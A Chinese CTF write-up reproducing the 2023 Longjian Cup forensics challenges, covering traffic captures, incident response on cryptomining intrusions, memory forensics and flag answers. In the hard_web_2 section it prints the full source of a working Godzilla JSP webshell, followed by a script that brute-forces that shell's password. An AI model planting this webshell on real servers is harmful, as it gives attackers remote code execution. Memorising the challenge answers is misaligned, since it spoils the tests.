2023陇剑杯------复现

找其他师傅要了附件,玩一玩,水一水

hard_web_1

统计会话,60字节的为连接失败

结果为80;888;8888

hard_web_2

分析流量包,找到shell.jsp中的java代码

很明显的哥斯拉jspshell,可以自己生成一个对比看看

String xc = "748007e861908c03";
class X extends ClassLoader {
    public X(ClassLoader z) {
        super(z);
    }

    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }

}

public byte[] x(byte[] s, boolean m) {
    try {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(m?1:2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
        return c.doFinal(s);
    } catch (Exception e) {
        return null;
    }

}
try {
    byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
    java.io.InputStream inputStream = request.getInputStream();
    int _num = 0;
    while ((_num += inputStream.read(data, _num, data.length)) < data.length);
    data = x(data, false);
    if (session.getAttribute("payload") == null)  {
        session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
    } else {
        request.setAttribute("parameters", data);
        Object f = ((Class)session.getAttribute("payload")).newInstance();
        java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
        f.equals(arrOut);
        f.equals(pageContext);
        f.toString();
        response.getOutputStream().write(x(arrOut.toByteArray(), true));
    }

} catch (Exception e) {}

传输内容aes加密,密钥为748007e861908c03,gzip压缩,解密即可

结果为flag{9236b29d-5488-41e6-a04b-53b0d8276542}

hard_web_3

慢慢找请求和返回包,可以找到密码组成1***y

哥斯拉加密流量中的key是密码的md5值的前16位或后16位,暴力跑

from hashlib import md5
import sys
for a in range(32,127):
    for b in range(32,127):
        for c in range(32,127):
            for d in range(32,127):
                key = f"1{chr(a)}{chr(b)}{chr(c)}{chr(d)}y"
                my_md5= md5()
                my_md5.update(key.encode("utf-8"))
                res = my_md5.hexdigest()
                if res.find("748007e861908c03") != -1:
                    print(f"The password is {key}")
                    sys.exit(0)

结果为14mk3y

server save_1

查看权限前,发送了如下请求

然后就使用了shell.jsp查看权限

经查是Spring的漏洞CVE-2022-22965

结果为CVE-2022-22965

server save_2

远程拉取反弹shell的脚本

结果为192.168.43.128:2333

server save_3

该文件的修改时间在bbbb.sh之后

结果为main

server save_4

查看shadow,还以为要分析病毒

结果为11:123456

server save_5

只看到这里有/home/guest/.log.txt

结果为172.105.202.239

server save_6

微步云沙箱跑了一下,前面几题也就明朗了

结果为lolMiner,mine_doge.sh

server save_7

结果为doge.millpools.cc:5567

server save_8

结果为DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9

Wireshark1_1

结果为192.168.246.28

Wireshark1_2

结果为youcannevergetthis

Wireshark1_3

结果为Downloads

Wireshark1_4

结果为mysql

IncidentResponse_1

ova镜像xways无法识别,不过ova可以解压出一个vmdk来,这样就可以识别了

查看历史命令,发现保存了运行日志

btmp可以找到一个ip的大量登录失败记录81.70.166.3

分析nohup.logaccess.log等日志,早期有尝试sql注入

不过根据后面的批量请求来看,大概率是打了shiro的反序列化漏洞

然而日志里没发看传得参数,不知道执行了哪些命令,无奈xways递归所有文件,按修改时间排序,慢慢排查,发现redis.sh

然后在redis.conf里面找到矿池地址

结果为redis-server

IncidentResponse_2

结果为donate.v2.xmrig.com:3333

IncidentResponse_3

结果为shiro反序列化

IncidentResponse_4

结果为81.70.166.3

IncidentResponse_5

结果为Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36

IncidentResponse_6

配置了ssh

结果为/root/.ssh/authorized_keys

IncidentResponse_7

这个时间顺序出现redis.server是不正常的,而且路径被放到了systemd下面,开机自启

结果为/lib/systemd/system/redis.service

SmallSword_1

找到第一次shell请求成功的包

蚁剑的请求包,请求的key就是密码

结果为6ea280898e404bfabd0ebb702327b19f

SmallSword_2

结果为ad6269b7-3ce2-4ae8-b97f-f259515e7a91

SmallSword_3

流量里没有看到直接获取的flag,注意到这条流量

拉了个火绒下来

保存一下

先跑个云沙箱看看,检测不出来,文件头有多于数据

放了个图片出来

虚拟机运行一下,看图片

后缀jpg,实际png,改高度

结果为flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}

ez_web_1

http过滤器,info搜索200 OK

可以看到写马

结果为ViewMode.php

ez_web_2

结果为192.168.101.132

ez_web_3

传了个压缩包

压缩包有密码,之前的流量中有获取/passwd,得到密码

结果为7d9ddff2-2d67-4eba-9e48-b91c26c42337

baby_forensics_1

随波逐流梭

结果为2e80307085fd2b5c49c968c323ee25d5

实际上内存也有

baby_forensics_2

很少人用的windows命令,人家就是要考这个

结果为7598632541

baby_forensics_3

r-studio扫描一下,桌面、文档都没发现信息,音乐里发现内容,看文件名应该是密码qwerasdf

接下来就是寻找密文

发现打开了便签StikyNot.exe

memdump导出其内存,苦苦搜寻密文,最后是用对称加密的特征U2Fsd找到的密文,注意\par需要去掉,一看就不是密文内容(strings会因为这个标识搜不出完整密文,卡我蛮久)

结果为flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}

tcpdump_1

结果为TMjpxFGQwD:123457

tcpdump_2

刚登录进去是,userid=2,后续操作中部分流量改为1,测试越权

因此cookie为accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1

结果为383c74db4e32513daaa1eeb1726d7255

tcpdump_3

追踪tcp流,在它上一个流中,还能看到个flagflag{7c9d4821-64dc-406c-b02b-f3538b4cba74}

结果为zyplayer:1234567

tcpdump_4

这里很明显在打洞,关键词是pgsql

搜一下是CVE-2022-21724:custom.dtd.xml

tcpdump_5

继续追流,明显的fscan

结果为fscan

hacked_1

登录成功的请求,但是用户名和密码是加密状态

后续流量发现key和iv

aes解密

结果为flag{WelC0m5_TO_H3re}

hacked_2

结果为ssti_flask_hsfvaldb

hacked_3

flasksession解析

结果为red

hacked_4

对比一个无法解析的session

Index这个路由却可以显示数据,说明这个路由就是写入的内存马的路由

结果为Index

posted @ 2023-09-03 00:40  WXjzc  阅读(621)  评论(0编辑  收藏  举报